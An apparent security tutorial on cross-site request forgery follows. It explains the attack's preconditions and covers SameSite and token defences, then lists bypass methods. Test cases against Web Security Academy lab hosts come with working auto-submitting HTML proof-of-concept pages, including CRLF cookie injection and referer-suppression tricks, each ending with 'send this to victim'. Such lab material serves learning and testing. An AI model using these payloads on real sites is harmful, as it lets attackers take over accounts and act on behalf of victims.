Cross-site request forgery (also known as CSRF) is a web security vulnerability that allows an attacker to induce users to perform actions that they do not intend to perform. It allows an attacker to partly circumvent the same origin policy, which is designed to prevent different websites from interfering with each other.
For a CSRF attack to be possible, three key conditions must be in place:
A relevant action. There is an action within the application that the attacker has a reason to induce. This might be a privileged action (such as modifying permissions for other users) or any action on user-specific data (such as changing the user's own password).
Cookie-based session handling. Performing the action involves issuing one or more HTTP requests, and the application relies solely on session cookies to identify the user who has made the requests. There is no other mechanism in place for tracking sessions or validating user requests.
No unpredictable request parameters. The requests that perform the action do not contain any parameters whose values the attacker cannot determine or guess. For example, when causing a user to change their password, the function is not vulnerable if an attacker needs to know the value of the existing password.
Although CSRF is normally described in relation to cookie-based session handling, it also arises in other contexts where the application automatically adds some user credentials to requests, such as HTTP Basic authentication and certificate-based authentication.
Basic Payload to automatically submit the request when the web page opens.
Bypass Method -1 : Change the request method POST → GET
Bypass Method - 2: Remove csrf param from POST request.
Bypass Method - 3: Feed your own account generated CSRF token in attack.
Bypass Method - 4 : Chain any other vulnerability to add your cookie for example XSS, CRLF → CSRF
Bypass Method - 5 : Delete the Referrer Header Completely or Suppress it.
Bypass Method - 6 : Try attacker.com or similar payload in referer header. (Validation of Referer can be circumvented)
Bypass Method - 7: Send null value in csrf token.
Mitigation
Defending against CSRF with SameSite cookies
The SameSite attribute can be used to control whether and how cookies are submitted in cross-site requests. By setting the attribute on session cookies, an application can prevent the default browser behavior of automatically adding cookies to requests regardless of where they originate.
The SameSite attribute is added to the Set-Cookie response header when the server issues a cookie, and the attribute can be given two values, Strict or Lax. For example:
If the SameSite attribute is set to Strict, then the browser will not include the cookie in any requests that originate from another site. This is the most defensive option, but it can impair the user experience, because if a logged-in user follows a third-party link to a site, then they will appear not to be logged in, and will need to log in again before interacting with the site in the normal way.
If the SameSite attribute is set to Lax, then the browser will include the cookie in requests that originate from another site but only if two conditions are met:
The request uses the GET method. Requests with other methods, such as POST, will not include the cookie.
The request resulted from a top-level navigation by the user, such as clicking a link. Other requests, such as those initiated by scripts, will not include the cookie.
Using SameSite cookies in Lax mode does then provide a partial defense against CSRF attacks, because user actions that are targets for CSRF attacks are often implemented using the POST method. Two important caveats here are:
Some applications do implement sensitive actions using GET requests.
Many applications and frameworks are tolerant of different HTTP methods. In this situation, even if the application itself employs the POST method by design, it will in fact accept requests that are switched to use the GET method.
For the reasons described, it is not recommended to rely solely on SameSite cookies as a defense against CSRF attacks. Used in conjunction with CSRF tokens, however, SameSite cookies can provide an additional layer of defense that might mitigate any defects in the token-based defenses.
Using CSRF Token
The most robust way to defend against CSRF attacks is to include a CSRF token within relevant requests. The token should be:
Unpredictable with high entropy, as for session tokens in general.
Tied to the user's session.
Strictly validated in every case before the relevant action is executed.
1. Select a request anywhere in Burp Suite Professional that you want to test or exploit.
2. From the right-click context menu, select Engagement tools / Generate CSRF PoC.
3. Burp Suite will generate some HTML that will trigger the selected request (minus cookies, which will be added automatically by the victim's browser).
4. You can tweak various options in the CSRF PoC generator to fine-tune aspects of the attack. You might need to do this in some unusual situations to deal with quirky features of requests.
5. Copy the generated HTML into a web page, view it in a browser that is logged in to the vulnerable web site, and test whether the intended request is issued successfully and the desired action occurs.
Test Case: Validation of CSRF token depends on request method
1. Interect with functionality and intercept the request.
2. Send this requets to repeater and right click change request method
3. Remove any csrf param and genrate csrf poc
4. Edit according to your preference,For example:
<!DOCTYPE html>
<html>
<!-- CSRF PoC - generated by Burp Suite i0 SecLab plugin -->
<body>
<form method="GET" action="https://ac591fd21f4ab3d2807a1b1d0007000d.web-security-academy.net:443/email/change-email?email=natsu%40natsu.com">
<input type="text" name="email" value="natsu@natsu.com">
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
5. Done send this to victim.
Test Case: Validation of CSRF token depends on token being present
1. Interect with functionality and intercept the request.
2. Send this requets to repeater.
3. Remove any csrf param and generate csrf poc
4. Edit according to your preference,For example:
<!DOCTYPE html>
<html>
<!-- CSRF PoC - generated by Burp Suite i0 SecLab plugin -->
<body>
<form method="POST" action="https://ac8a1fbd1e6d76ae806817f900d50032.web-security-academy.net:443/email/change-email">
<input type="text" name="email" value="natsu@natsu.com">
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
5. Done send this to victim.
Test Case: CSRF token is not tied to the user session.
1. Interect with functionality and intercept the request.
2. Right click generate csrf poc.
3. Copy the code in a file.html remove any session token
4. Drop the request.
5. Send the file.html to victim.
Example CSRF Code:
<!DOCTYPE html>
<html>
<!-- CSRF PoC - generated by Burp Suite i0 SecLab plugin -->
<body>
<form method="POST" action="https://acd81f251e0c762980c31ae600c70041.web-security-academy.net:443/email/change-email">
<input type="text" name="email" value="natsu@natsu.com">
<input type="text" name="csrf" value="NqdmYFyfHgQl8JWLKd7YTOC24Tqdedpw">
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Test Case - 1 : CSRF token is tied to a non-session cookie, when we have two csrf token one in cookie and other in the functionality this is due to presence of two framework one for session handling and one for CSRF protection, which are not integrated together.
The cookie-setting behavior does not even need to exist within the same web application as the CSRF vulnerability. Any other application within the same overall DNS domain can potentially be leveraged to set cookies in the application that is being targeted, if the cookie that is controlled has suitable scope. For example, a cookie-setting function on staging.demo.normal-website.com could be leveraged to place a cookie that is submitted to secure.normal-website.com.
1. Find any vulnerability which allow you to inject something in the cookie of victim.
2. Test if CSRF token is tied to session id (try changing session id keeping everything as it is))
3. Check if the your csrf token works when replaced in victims request
4. Lastly check if you can inject CRLF and change csrf cookie value
5. Done now make a csrf poc with xss payload which execute crlf and send this poc to victim
Example CSRF Code:
<!DOCTYPE html>
<html>
<!-- CSRF PoC - generated by Burp Suite i0 SecLab plugin -->
<body>
<form method="POST" action="https://ac981fc81ee9f58b80984ae400200076.web-security-academy.net:443/my-account/change-email">
<input type="text" name="csrfKey" value="ntq9GTrV4JhtLaX07sqTnMpOHwMGpaX9">
<input type="text" name="email" value="hehe@hehe.com">
<input type="text" name="csrf" value="6EU5SJ9YKzfOsq9rNgDR8toGy0TKSw81">
<input type="submit" value="Send">
</form>
<img src="http://ac981fc81ee9f58b80984ae400200076.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=ntq9GTrV4JhtLaX07sqTnMpOHwMGpaX9" onerror="document.forms[0].submit()">
</body>
</html>
Test Case - 2 : CSRF token is simply duplicated in a cookie, here csrf token value can be anything just need to be same in cookie as wells as param.
1. Intercept and action and try changing csrf token in both cookie and param
2. Make similar poc as above but this time put same csrf token in crlf payload and request param.
3. Done, Send it to victim.
Example CSRF POC:
<!DOCTYPE html>
<html>
<!-- CSRF PoC - generated by Burp Suite i0 SecLab plugin -->
<body>
<form method="POST" action="https://ac071f601e8dc74380609c1d000900b3.web-security-academy.net:443/my-account/change-email">
<input type="text" name="csrf" value="K5r92qL9pGzpC2joPMkqgBSY1GG3eo6I">
<input type="text" name="session" value="xdCFpxBe1M0MHvk0DmFuzCRlImMgdxZk">
<input type="text" name="email" value="natsu@natsu.com">
<input type="text" name="csrf" value="fake">
<input type="submit" value="Send">
</form>
<img src="http://ac071f601e8dc74380609c1d000900b3.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=fake" onerror="document.forms[0].submit()">
</body>
</html>
Test Case: CSRF where Referer validation depends on header being present.
1. Intercept the request and try changing referer to some other domain.
2. If that didn't work then you will have to suppress the refere header.
3. you can use `<meta name="referrer" content="no-referrer">` or any other technique.
4. Done, Make a normal POC with that technique.
Example CSRF POC:
<!DOCTYPE html>
<html>
<!-- CSRF PoC - generated by Burp Suite i0 SecLab plugin -->
<body>
<form method="POST" action="https://ac6d1fe21fb2a0c7809510e7001c006c.web-security-academy.net:443/my-account/change-email">
<input type="text" name="session" value="S4dyJbRWg1IqEpZlPkhICE5vJQhnv6ve">
<input type="text" name="email" value="hola@hola.com">
<meta name="referrer" content="no-referrer">
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Test case: CSRF with broken Referer validation
1. Intercept the request and try changing referer to some other domain. (Check all cases how it is been verified)
2. Now Generate a normal POC and include any JavaScript in the script block to alter the URL and Referer
3. Done Send it to victim.
Example CSRF POC:
<!DOCTYPE html>
<html>
<!-- CSRF PoC - generated by Burp Suite i0 SecLab plugin -->
<body>
<form method="POST" action="https://ac761f621f79d75680e4054c00160033.web-security-academy.net:443/my-account/change-email">
<input type="text" name="session" value="rk13v2KYDFByO0OFL0xnHcnIVZbvAHNg">
<input type="text" name="email" value="gg@gg.com">
<input type="submit" value="Send">
</form>
<script>
history.pushState("", "", "/?ac761f621f79d75680e4054c00160033.web-security-academy.net")
document.forms[0].submit();
</script>
</body>
</html>
Test Case: Validation of CSRF token depends on token value being
1. Interect with functionality and intercept the request.
2. Send this requets to repeater.
3. Add null csrf param and generate csrf poc
4. Edit according to your preference,For example:
<!DOCTYPE html>
<html>
<!-- CSRF PoC - generated by Burp Suite i0 SecLab plugin -->
<body>
<form method="POST" action="https://ac8a1fbd1e6d76ae806817f900d50032.web-security-academy.net:443/email/change-email">
<input type="text" name="email" value="natsu@natsu.com">
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
5. Done send this to victim.
